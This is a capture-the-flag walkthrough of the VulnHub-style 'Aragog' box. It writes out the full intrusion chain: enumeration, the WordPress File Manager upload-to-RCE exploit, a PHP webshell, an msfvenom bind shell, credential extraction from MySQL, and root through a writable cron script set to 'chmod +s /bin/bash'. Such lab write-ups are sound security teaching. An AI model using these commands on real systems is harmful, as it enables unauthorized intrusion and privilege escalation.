Harry Potter Part I: Aragog
The first box in the Harry Potter series: “Aragog” is considered an easy box that allows the user to enumerate and get their feet under them before the next box increases the intensity level. In this box, we’ll look at the following technologies with the following tools:
- HTTP leveraging wordpress
- Feroxbuster, wpscan
- Searchsploit
- Msfvenom and Metasploit
- Process Spy (pspy)
After starting the box, we get an assigned IP address and we set that with IP=172.20.10.4. Let’s jump right in to seeing how to communicate with the box over the network with nmap -sC -sV -A $IP -oN aragog.nmap. This generates our tcp vectors with 22 and 80. With 22 being fairly updated, I’ll jump to port 80. Since I always start with footprinting, then enumerating I start with curl $IP –head followed by curl $IP. This is a very basic site and really doesn’t give anything away on any technologies being used. Since there are no clues and I don’t want to start trying to do anything with stenography, I’ll grab a generic list from wordlists and get a scanner going: feroxbuster -u http://$IP -w /usr/share/seclist/Discovery/Web-Content/common.txt.
It immediately shows we have some sort of wordpress site. This really makes feroxbuster dig into the recursively, so you can probably stop the scan for now and we’ll go back to it if our wordpress site doesn’t get us anywhere. To jump to wordpress, I’ll use the right tool for the job and grab wpscan. If you don’t have an API key for it, you should get one to help enumerate plugins and packages that are updated as vulnerabilities and weaknesses come out. I store my api_key in my home directory so I don’t forget it, so let’s get it going: wpscan — url $IP/blog — api-token $(cat ~/wordpress.api) -e
So we got a bunch of enumeration information by using the default -e and even found a user wp-admin (common on a default page, but found none-the-less). There are a few things being used, but nothing glaring on the report. Let’s run it again and dig in to plugins, as CMS is known to be weak through its plugins: wpscan — url $IP/blog — api-token $(cat ~/wordpress.api) -e p — plugins-detection aggressive
Wow, so that found a few that are dangerous, but there is one that sticks out to me that I should try first called: File Manager 6.0–6.9 unauthenticated File Upload to RCE. I may try one of the other paths if this doesn’t work, but going from nothing to RCE is a gift! Of course wpscan doesn’t tell you where the exploit is or what it looks like, so I’ll start with exploit-db: searchsploit file manager. Looking at the options, it appears that vulnerability number 49178 is the best fit from what we reconnoitered. I’ll look at it with searchsploit -x 49178. Seems easy to run and ready to go as a bash shell. Let’s grab it with searchsploit -m 49178. This downloads it to your current working directory. To run it with bash, we just do bash 49178.sh -u http://$IP/blog — check.
It runs and says it appears vulnerable. Great, let’s grab something we want to upload and see what we can do. Since the wordpress site runs php, it makes since to grab some sort of php exploit. I’ll look in the repo and grab a webshell: cp /usr/share/webshells/php/simple-webshell.php .. Alright, let’s look at it and see if we need to clean it up. Looks good to me. We can attempt to run the exploit with: bash 49178.sh -u http://$IP/blog -f /home/kurt/vulnhub/simple-backdoor.php –verbose. Says it was a success, awesome. Now that we have a file uploaded and now we need to execute it. I’ll do that with call using the command-line: curl http://$IP/blog/wp-content/plugins/wp-file-manager/lib/php/../files/simple-backdoor.php?cmd=whoami. Perfect, it says we are “www-data” so we have RCE. Well, I’m not a fan of these shells that don’t save their states, so I’m immediately going to attempt to get a better shell. I can use msfvenom to create a shell. This time, I’ll try a bind shell which means: the victim machines opens a communication port and provides a shell when a client connects. I make the exploit with: msfvenom -p php/bind_php -o bind.php and we have created a bind shell. Just like we uploaded the last backdoor, I’ll use that same mechanism to upload this one: bash 49178.sh -u http://$IP/blog -f /home/kurt/vulnhub/bind.php –verbose which uploads the file. In order to start the bind shell, I need to activate it by navigating to the php page and starting the php shell: curl http://$IP/blog/wp-content/plugins/wp-file-manager/lib/php/../files/bind.php. The page seems to hang (which is good) meaning that it has started a listener and waiting. I’ll use the trusty old netcat: nc $IP 4444.
Okay, we have code execution on the box in a shell. Granted, this is a php shell so it isn’t the best. It still runs inside of web technology and I’m just not the biggest fan. I’ll do a quick look around and if I can’t get a better shell through this connection, I’ll make a better one in a minute. I’ll start with whoami, cat /etc/passwd, and ls -al /home. There are two other users on the box and no much to grab in the home directories. Let’s get a better shell! Since we have Metasploit, let’s use it to have a better shell. I’ll exit this shell and go back to the command prompt. Restart the bind shell by using the curl command above to start the bind shell again. I’ll start msfconsole -q to get it going. Once it gets going, we just need to create a handler to communicate: use exploit/multi/handler, set payload php/bind_php, setg RHOST 172.20.10.4, run. And voila, we have a connection in Metasploit. Run the command: sessions -i to see your session. As you can see, it is a php session. I’ll immediately try to upgrade to a meterpreter shell with sessions -u 1. It won’t upgrade (as many php shells won’t), so let’s make this shell the best we can. Ill run which bash to find out where the bash shell is, then run python3 -c ‘import pty;pty.spawn(“/usr/bin/bash”)’ and we at least now have a tty shell!
Now, I need to start enumerating on the box and I don’t wanna manually do it so I’ll grab linPEAS.sh to do it for me. I’ll cd /dev/shm to go somewhere I can write. Then lcd ~/kaliOptHome/PEAS/linPEAS so I can be in the folder where the file I want is. Now I do upload linpeas.sh and up it goes. So we can run it with bash linpeas.sh and the text starts scrolling by. Reading and parsing the output can feel daunting, but you’d be doing the same thing manually just slower. When I read the output, I usually do it in a few turns. The first run through, I grab all the things that I’ve done before and recognize. I investigate those and if they don’t pan out, I look through the results a second time and grab the things that are new to me. After reading through the output, I found the following:
- wordpress has some database connections, so there may be a password
- mysql is running on the box
- there is a weird file in /opt/.backup.sh
- dbpass and dbuser are listed in plain text
Okay, not too much on the first pass, but things we can deal with. I’ll start with the database by running mysql -u root -pXXXXXX and we are in. show databases; gives four so we’ll use wordpress; show tables; select * from wp_users; and now we got a username, encrypted password, and email address.
Alright. We have an encrypted password so let’s see if we can break it. Before I start, I always try an online solution first before I waste my processing time. No luck on crackstation.net, so we can run it on our box.
And just like that, the password is cracked. Let’s see where we can use it. I’ll try su and switch user.
And voila, we are now hagrid98. We can grab the horcrux1.txt file from the home directory. Since we already ran linpeas.sh above, we’ll just keep looking a down that list and see what else was on the list. That backup file was identified, let’s check it out: cat /opt/.backup.sh. It has a cp command that is copying the web directory over to tmp. Looking in the /tmp directory, there are the files from the upload directory. Looking at the permissions, it is owned by root:
Interesting. We didn’t see any cron jobs running on the linpeas output, so when does this run? Let’s put a file in the uploads directory and test it out. touch justchecking. Of course we don’t know when this is going to run, so let’s spy on the processes. We’ll do that with pspy. After uploading the executable for the 64-bit version, we just run it with bash pspy64s.
As things scroll by, it appears that some cron job ran the script. If we go check the directory, our file is there!
Perfect. So now we just need to modify the fie to do whatever we want it to do and give us what we want as root. So, what should we do? How about we just add a line in that allows us to become root? Let’s add chmod +s /bin/bash. Now after it runs, we can run bash and become root.
And just like that, we elevated all the way to root. Great adventure. Hopefully the next Harry Potter box has more challenges.